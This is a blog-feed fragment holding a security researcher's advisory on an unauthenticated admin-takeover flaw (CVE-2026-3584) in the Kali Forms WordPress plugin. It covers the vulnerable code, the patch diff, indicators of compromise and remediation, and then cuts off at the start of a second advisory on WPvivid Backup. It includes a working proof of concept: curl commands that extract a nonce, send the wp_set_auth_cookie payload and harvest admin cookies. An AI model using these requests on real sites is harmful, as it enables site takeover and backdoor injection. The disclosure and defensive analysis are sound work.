&lt;p&gt;The Kali Forms plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.4.9 via the &lt;code&gt;form_process&lt;/code&gt; function. This is due to the &lt;code&gt;prepare_post_data&lt;/code&gt; function mapping user-supplied keys directly into internal placeholder storage, combined with the use of &lt;code&gt;call_user_func&lt;/code&gt; on these placeholder values. This makes it possible for unauthenticated attackers to execute code on the server.&lt;/p&gt;
&lt;p&gt;Wordfence blocked 96,798 attacks targeting this vulnerability in the 24 hours following public disclosure.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Hook registration (unauthenticated AJAX endpoint)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Inc/Frontend/class-form-processor.php&lt;/code&gt;, lines 87–88:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action(&apos;wp_ajax_nopriv_kaliforms_form_process&apos;, [$this, &apos;form_process&apos;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;nopriv&lt;/code&gt; action means the &lt;code&gt;form_process&lt;/code&gt; handler is reachable by any unauthenticated visitor via:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /wp-admin/admin-ajax.php?action=kaliforms_form_process
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Nonce exposed to all visitors&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Inc/Frontend/class-form-shortcode.php&lt;/code&gt;, line 300:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp_localize_script(&apos;kaliforms-frontend&apos;, &apos;KaliFormsObject&apos;, [
    &apos;ajaxurl&apos;    =&amp;gt; esc_url(admin_url(&apos;admin-ajax.php&apos;)),
    &apos;ajax_nonce&apos; =&amp;gt; wp_create_nonce($this-&amp;gt;slug . &apos;_nonce&apos;),   // ← exposed
    ...
]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Whenever a page containing a Kali Forms shortcode is rendered — even for logged-out visitors — the nonce &lt;code&gt;kaliforms_nonce&lt;/code&gt; is written into the page&apos;s JavaScript as &lt;code&gt;KaliFormsObject.ajax_nonce&lt;/code&gt;. Any attacker can obtain this nonce with a simple HTTP GET.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Callable placeholders seeded from &lt;code&gt;GeneralPlaceholders&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Inc/Utils/class-generalplaceholders.php&lt;/code&gt;, lines 41–49:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$placeholders = [
    &apos;{sitetitle}&apos;       =&amp;gt; get_bloginfo(&apos;name&apos;),
    &apos;{tagline}&apos;         =&amp;gt; get_bloginfo(&apos;description&apos;),
    ...
    &apos;{entryCounter}&apos;    =&amp;gt; &apos;KaliForms\Inc\Utils\General_Placeholders_Helper::count_form_entries&apos;,
    &apos;{thisPermalink}&apos;   =&amp;gt; &apos;KaliForms\Inc\Utils\General_Placeholders_Helper::get_current_permalink&apos;,
    &apos;{submission_link}&apos; =&amp;gt; &apos;KaliForms\Inc\Utils\Submission_Action_Helper::get_submission_link&apos;,
];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three values are stored as PHP callable strings (class::method). The plugin deliberately defers these so it can resolve their values late in the request cycle via &lt;code&gt;call_user_func&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. User-supplied keys overwrite callable placeholders&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Inc/Frontend/class-form-processor.php&lt;/code&gt;, &lt;code&gt;prepare_post_data()&lt;/code&gt;, lines 334–349:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function prepare_post_data($data)
{
    $prepared_maps = $this-&amp;gt;setup_field_map();
    $this-&amp;gt;field_type_map     = $prepared_maps[&apos;map&apos;];
    $this-&amp;gt;advanced_field_map = $prepared_maps[&apos;advanced&apos;];

    // Seeds placeholders, including the three callable entries above
    $this-&amp;gt;placeholdered_data = array_merge(
        (new GeneralPlaceholders())-&amp;gt;general_placeholders,
        (new UserPlaceholders())-&amp;gt;placeholders,
        $this-&amp;gt;placeholdered_data
    );

    $data = array_merge($data, $this-&amp;gt;_get_product_fields($data));

    foreach ($data as $k =&amp;gt; $v) {       // $data comes from stripslashes_deep($_POST[&apos;data&apos;])
        $type = &apos;textbox&apos;;
        if (isset($this-&amp;gt;field_type_map[$k]) &amp;amp;&amp;amp; !empty($this-&amp;gt;field_type_map[$k])) {
            $type = $this-&amp;gt;field_type_map[$k];
        }
        $this-&amp;gt;_run_placeholder_switch($type, $k, $v);
    }
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every key in &lt;code&gt;$_POST[&apos;data&apos;]&lt;/code&gt; is iterated — including keys that do not correspond to any real form field. There is no check that &lt;code&gt;$k&lt;/code&gt; belongs to the form&apos;s defined field set.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;_run_placeholder_switch()&lt;/code&gt; (default case, line 643):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$this-&amp;gt;placeholdered_data[&apos;{&apos; . $k . &apos;}&apos;] = is_array($v)
    ? implode($this-&amp;gt;get(&apos;multiple_selections_separator&apos;, &apos;,&apos;), $v)
    : sanitize_text_field($v);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If an attacker submits &lt;code&gt;data[entryCounter]=wp_set_auth_cookie&lt;/code&gt;, then:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$this-&amp;gt;placeholdered_data[&apos;{entryCounter}&apos;] = &apos;wp_set_auth_cookie&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The string &lt;code&gt;wp_set_auth_cookie&lt;/code&gt; survives &lt;code&gt;sanitize_text_field&lt;/code&gt; because it contains only alphanumeric characters and underscores.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Overwritten callable is invoked via &lt;code&gt;call_user_func&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Inc/Frontend/class-form-processor.php&lt;/code&gt;, &lt;code&gt;_save_data()&lt;/code&gt;, lines 696–704:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (isset($this-&amp;gt;placeholdered_data[&apos;{entryCounter}&apos;])) {
    $this-&amp;gt;placeholdered_data[&apos;{entryCounter}&apos;] =
        call_user_func($this-&amp;gt;placeholdered_data[&apos;{entryCounter}&apos;], $this-&amp;gt;post-&amp;gt;ID);
}
if (isset($this-&amp;gt;placeholdered_data[&apos;{thisPermalink}&apos;])) {
    $this-&amp;gt;placeholdered_data[&apos;{thisPermalink}&apos;] =
        call_user_func($this-&amp;gt;placeholdered_data[&apos;{thisPermalink}&apos;]);    // ← NO arguments
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the attacker&apos;s value in place and &lt;code&gt;data[formId]=1&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;call_user_func(&apos;wp_set_auth_cookie&apos;, 1)
// Sets valid WordPress admin auth cookies for User ID 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;Two independent failures combine into a critical exploit chain:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Missing field whitelist in &lt;code&gt;prepare_post_data&lt;/code&gt;&lt;/strong&gt; — The loop over &lt;code&gt;$_POST[&apos;data&apos;]&lt;/code&gt; iterates ALL submitted keys without verifying that each key matches a real form field. An attacker can inject arbitrary keys, including those that shadow internal callable placeholder names.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Deferred &lt;code&gt;call_user_func&lt;/code&gt; on placeholder values without trust validation&lt;/strong&gt; — &lt;code&gt;_save_data&lt;/code&gt; blindly calls &lt;code&gt;call_user_func&lt;/code&gt; on whatever is stored in those placeholder slots. Nothing stopped user-controlled strings from getting there.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Controls That Failed&lt;/h3&gt;
&lt;p&gt;Two existing defences were in place but neither stopped the attack.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Nonce check is NOT a sufficient auth control&lt;/strong&gt; — The nonce &lt;code&gt;kaliforms_nonce&lt;/code&gt; is generated on every page load and written into the frontend JavaScript for ALL visitors, including unauthenticated ones. &lt;code&gt;wp_verify_nonce&lt;/code&gt; confirms the nonce came from &lt;em&gt;this server&lt;/em&gt;, but it does not check whether the user is logged in. Any visitor can get a valid nonce with a GET request.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sanitize_text_field&lt;/code&gt; does not block PHP function names&lt;/strong&gt; — Valid PHP and WordPress function names (&lt;code&gt;wp_set_auth_cookie&lt;/code&gt;, &lt;code&gt;phpinfo&lt;/code&gt;, &lt;code&gt;system&lt;/code&gt;, etc.) contain only letters, numbers, and underscores. &lt;code&gt;sanitize_text_field&lt;/code&gt; strips none of these.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;With both controls bypassed, the damage is severe.&lt;/p&gt;
&lt;p&gt;An unauthenticated attacker can invoke any PHP callable that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Takes zero arguments (via &lt;code&gt;{thisPermalink}&lt;/code&gt;) — e.g., &lt;code&gt;phpinfo&lt;/code&gt;, or any zero-arity static method in the process&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Takes one integer argument (via &lt;code&gt;{entryCounter}&lt;/code&gt;)&lt;/strong&gt; — where the integer is &lt;code&gt;$this-&amp;gt;post-&amp;gt;ID&lt;/code&gt;, derived directly from the attacker-controlled &lt;code&gt;formId&lt;/code&gt; parameter&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;code&gt;{entryCounter}&lt;/code&gt; path is the critical one. Because the attacker controls &lt;code&gt;formId&lt;/code&gt;, they control the integer passed to &lt;code&gt;call_user_func&lt;/code&gt;. This enables the following confirmed attack chain observed in the wild:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;wp_set_auth_cookie(1)&lt;/code&gt; → Instant admin takeover&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Attacker submits &lt;code&gt;data[entryCounter]=wp_set_auth_cookie&lt;/code&gt; and &lt;code&gt;data[formId]=1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The plugin loads post ID 1 (the default &quot;Hello World&quot; WordPress post, which is always published), so the published-post check passes&lt;/li&gt;
&lt;li&gt;&lt;code&gt;call_user_func(&apos;wp_set_auth_cookie&apos;, 1)&lt;/code&gt; executes: WordPress sets valid authentication cookies for User ID 1 — by convention the default administrator account&lt;/li&gt;
&lt;li&gt;The AJAX response includes the &lt;code&gt;Set-Cookie&lt;/code&gt; header with a live admin session&lt;/li&gt;
&lt;li&gt;The attacker is now authenticated as administrator with no credentials&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From the admin panel, attackers have been observed editing the active theme&apos;s &lt;code&gt;functions.php&lt;/code&gt; to inject persistent backdoor/malware code.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A WordPress installation with the &lt;code&gt;kali-forms&lt;/code&gt; plugin installed, activated, and version &amp;lt;= 2.4.9&lt;/li&gt;
&lt;li&gt;At least one published form embedded on a public-facing page via shortcode &lt;code&gt;[kaliforms id=&quot;&amp;lt;FORM_ID&amp;gt;&quot;]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Default WordPress user ID 1 must exist and be an administrator (true on nearly all default installs)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Obtain the nonce from the public form page&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The nonce &lt;code&gt;kaliforms_nonce&lt;/code&gt; is generated server-side and injected into every page that renders a Kali Forms shortcode, as &lt;code&gt;KaliFormsObject.ajax_nonce&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NONCE=$(curl -s https://target.example.com/contact/ \
  | grep -oP &apos;&quot;ajax_nonce&quot;\s*:\s*&quot;\K[^&quot;]+&apos;)

echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No authentication is required — this is a standard GET request.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Send the authentication-bypass payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Submit a POST to the WordPress AJAX endpoint with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;data[formId]=1&lt;/code&gt; — loads the default &quot;Hello World&quot; post (ID 1, always published), making the plugin&apos;s published-post check pass, and crucially setting &lt;code&gt;$this-&amp;gt;post-&amp;gt;ID = 1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data[entryCounter]=wp_set_auth_cookie&lt;/code&gt; — overwrites the &lt;code&gt;{entryCounter}&lt;/code&gt; callable placeholder&lt;/li&gt;
&lt;li&gt;A valid nonce extracted in Step 1&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;curl -v -X POST &quot;https://target.example.com/wp-admin/admin-ajax.php&quot; \
  --data-urlencode &quot;action=kaliforms_form_process&quot; \
  --data-urlencode &quot;data[formId]=1&quot; \
  --data-urlencode &quot;data[nonce]=${NONCE}&quot; \
  --data-urlencode &quot;data[entryCounter]=wp_set_auth_cookie&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This triggers &lt;code&gt;call_user_func(&apos;wp_set_auth_cookie&apos;, 1)&lt;/code&gt; — WordPress immediately sets valid administrator authentication cookies in the HTTP response.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Observed real-world attack request (from Wordfence):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&amp;amp;data[formId]=1&amp;amp;data[nonce]=66ddddb2b7&amp;amp;data[entryCounter]=wp_set_auth_cookie
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Use the admin session to inject malware&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Extract the auth cookies from the response
COOKIE=$(curl -s -D - -X POST &quot;https://target.example.com/wp-admin/admin-ajax.php&quot; \
  --data-urlencode &quot;action=kaliforms_form_process&quot; \
  --data-urlencode &quot;data[formId]=1&quot; \
  --data-urlencode &quot;data[nonce]=${NONCE}&quot; \
  --data-urlencode &quot;data[entryCounter]=wp_set_auth_cookie&quot; \
  | grep -i &quot;set-cookie&quot;)

echo &quot;Admin cookies: $COOKIE&quot;
# Use these cookies to authenticate to wp-admin and edit functions.php
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The AJAX response sets WordPress admin authentication cookies (&lt;code&gt;wordpress_logged_in_*&lt;/code&gt;, &lt;code&gt;wordpress_sec_*&lt;/code&gt;). With those cookies, the attacker has full administrator access to the WordPress dashboard. From there, the Theme/Plugin Editor lets them edit &lt;code&gt;functions.php&lt;/code&gt; and inject persistent PHP backdoors.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Check the &lt;code&gt;Set-Cookie&lt;/code&gt; headers in the response for &lt;code&gt;wordpress_logged_in_&lt;/code&gt; cookies&lt;/li&gt;
&lt;li&gt;Use those cookies to access &lt;code&gt;https://target.example.com/wp-admin/&lt;/code&gt; — you should be logged in as administrator&lt;/li&gt;
&lt;li&gt;On a patched installation (2.4.10), the same request returns a normal form response with no auth cookies set&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;Files Changed&lt;/h3&gt;
&lt;p&gt;Security-relevant changes in &lt;code&gt;Inc/Frontend/class-form-processor.php&lt;/code&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Add field-key whitelist in &lt;code&gt;prepare_post_data&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Line 354&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Add field-key whitelist in &lt;code&gt;check_if_placeholders_changed&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Lines 259–261&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Add &lt;code&gt;restore_internal_callable_placeholders()&lt;/code&gt; method&lt;/td&gt;
&lt;td&gt;Lines 395–409&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Call &lt;code&gt;restore_internal_callable_placeholders()&lt;/code&gt; at end of &lt;code&gt;prepare_post_data&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Line 395&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch applies a defense-in-depth fix with two independent layers:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Layer 1 — Input whitelist (prevents overwrite at injection point)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Both &lt;code&gt;prepare_post_data&lt;/code&gt; and &lt;code&gt;check_if_placeholders_changed&lt;/code&gt; now skip any POST key that is not present in &lt;code&gt;$this-&amp;gt;field_type_map&lt;/code&gt; (the map of actual form fields defined by the site administrator):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 2.4.10 — added in prepare_post_data and check_if_placeholders_changed
if (!array_key_exists($k, $this-&amp;gt;field_type_map)) {
    continue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;None of &lt;code&gt;entryCounter&lt;/code&gt;, &lt;code&gt;thisPermalink&lt;/code&gt;, or &lt;code&gt;submission_link&lt;/code&gt; are ever defined as form field names in &lt;code&gt;field_type_map&lt;/code&gt;. Any data submitted under those keys is now silently dropped before &lt;code&gt;_run_placeholder_switch&lt;/code&gt; is called.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Layer 2 — Callable restoration (prevents overwrite by filters)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Even after any custom filter on &lt;code&gt;_form_placeholders&lt;/code&gt; runs, the new &lt;code&gt;restore_internal_callable_placeholders()&lt;/code&gt; method hard-resets the three callable placeholder values back to their trusted default functions from &lt;code&gt;GeneralPlaceholders&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private function restore_internal_callable_placeholders()
{
    $defaults = (new GeneralPlaceholders())-&amp;gt;general_placeholders;
    foreach ([&apos;{entryCounter}&apos;, &apos;{thisPermalink}&apos;, &apos;{submission_link}&apos;] as $key) {
        if (isset($defaults[$key])) {
            $this-&amp;gt;placeholdered_data[$key] = $defaults[$key];
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This second layer ensures that even if a future code path, filter, or edge case brings the overwrite back, the &lt;code&gt;call_user_func&lt;/code&gt; targets remain the legitimate class methods.&lt;/p&gt;
&lt;p&gt;The fix is complete. Both the injection point and the downstream execution target are independently hardened. The patch introduces no residual risk.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/Inc/Frontend/class-form-processor.php
+++ b/Inc/Frontend/class-form-processor.php
@@ -340,8 +351,12 @@ class Form_Processor
     $data = array_merge($data, $this-&amp;gt;_get_product_fields($data));
     foreach ($data as $k =&amp;gt; $v) {
+        if (!array_key_exists($k, $this-&amp;gt;field_type_map)) {
+            continue;
+        }
         $type = &apos;textbox&apos;;
-        if (isset($this-&amp;gt;field_type_map[$k]) &amp;amp;&amp;amp; !empty($this-&amp;gt;field_type_map[$k])) {
+        if (!empty($this-&amp;gt;field_type_map[$k])) {
             $type = $this-&amp;gt;field_type_map[$k];
         }
         $this-&amp;gt;_run_placeholder_switch($type, $k, $v);
     }
+
+    $this-&amp;gt;restore_internal_callable_placeholders();
     return $data;
 }

+private function restore_internal_callable_placeholders()
+{
+    $defaults = (new GeneralPlaceholders())-&amp;gt;general_placeholders;
+    foreach ([&apos;{entryCounter}&apos;, &apos;{thisPermalink}&apos;, &apos;{submission_link}&apos;] as $key) {
+        if (isset($defaults[$key])) {
+            $this-&amp;gt;placeholdered_data[$key] = $defaults[$key];
+        }
+    }
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Active Exploitation&lt;/h2&gt;
&lt;p&gt;This vulnerability is under active mass exploitation. Wordfence has blocked over &lt;strong&gt;312,200 exploit attempts&lt;/strong&gt; since public disclosure on March 20, 2026. Attackers drove a peak of mass exploitation April 4–10, 2026, the same day the free Wordfence firewall rule became available.&lt;/p&gt;
&lt;h3&gt;Indicators of Compromise&lt;/h3&gt;
&lt;p&gt;There are no clear or easily identifiable IoCs — attackers who gain admin access can clear log entries. If running a vulnerable version, review server access logs for POST requests to &lt;code&gt;/wp-admin/admin-ajax.php&lt;/code&gt; with &lt;code&gt;action=kaliforms_form_process&lt;/code&gt; originating from the IP addresses above.&lt;/p&gt;
&lt;p&gt;The absence of matching log entries does &lt;strong&gt;not&lt;/strong&gt; guarantee the site is clean. Look for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unexpected or new administrator accounts&lt;/li&gt;
&lt;li&gt;Recent modifications to theme files (&lt;code&gt;functions.php&lt;/code&gt;) or plugin files&lt;/li&gt;
&lt;li&gt;Unknown cron jobs or scheduled tasks&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;March 2, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability reported to Wordfence Bug Bounty Program by ISMAILSHADOW&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 20, 2026&lt;/td&gt;
&lt;td&gt;Patched version 2.4.10 released; public disclosure by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 20, 2026&lt;/td&gt;
&lt;td&gt;Attackers begin exploiting the same day as disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 4–10, 2026&lt;/td&gt;
&lt;td&gt;Peak mass exploitation observed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;kali-forms&lt;/code&gt; plugin to version &lt;strong&gt;2.4.10&lt;/strong&gt; or later immediately.&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Temporarily deactivate the plugin until patching is feasible&lt;/li&gt;
&lt;li&gt;Use a WAF rule to block POST requests to &lt;code&gt;admin-ajax.php?action=kaliforms_form_process&lt;/code&gt; that contain keys other than expected form field names&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3584&quot;&gt;CVE-2026-3584 — CVE Record&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process&quot;&gt;Wordfence Advisory — Kali Forms &amp;lt;= 2.4.9 Unauthenticated RCE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/kali-forms/tags/2.4.9/Inc/Frontend/class-form-processor.php#L697&quot;&gt;Vulnerable source — class-form-processor.php L697 (tag 2.4.9)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3487024/kali-forms&quot;&gt;Patch changeset 3487024&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/04/attackers-actively-exploiting-critical-vulnerability-in-kali-forms-plugin/&quot;&gt;Wordfence Blog — Attackers Actively Exploiting Critical Vulnerability in Kali Forms Plugin&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-15T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-1357: Unauthenticated RCE in WPvivid Backup Plugin (CVSS 9.8)</title><link>https://hurayraiit.com/blog/cve-2026-1357-unauthenticated-rce-wpvivid-backup/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-1357-unauthenticated-rce-wpvivid-backup/</guid><description>CVE-2026-1357 (CVSS 9.8): Unauthenticated file upload in WPvivid Backup &lt;=0.9.123 enables Remote Code Execution via RSA decryption failure and path traversal.</description><pubDate>Mon, 02 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-1357&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated arbitrary file upload vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/wpvivid-backuprestore/&quot;&gt;Migration, Backup, Staging – WPvivid Backup &amp;amp; Migration&lt;/a&gt; WordPress plugin. By chaining a silent RSA decryption failure with an unsanitized filename, any unauthenticated attacker can upload arbitrary PHP files to publicly accessible directories and achieve full Remote Code Execution on the target web server — no login required. Wordfence blocked &lt;strong&gt;2,717 attacks&lt;/strong&gt; targeting this vulnerability within the first 24 hours of disclosure.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Migration, Backup, Staging – WPvivid Backup &amp;amp; Migration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wpvivid-backuprestore&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1357&quot;&gt;CVE-2026-1357&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary File Upload → Remote Code Execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip&quot;&gt;&amp;lt;= 0.9.123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.124.zip&quot;&gt;0.9.124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;February 10, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
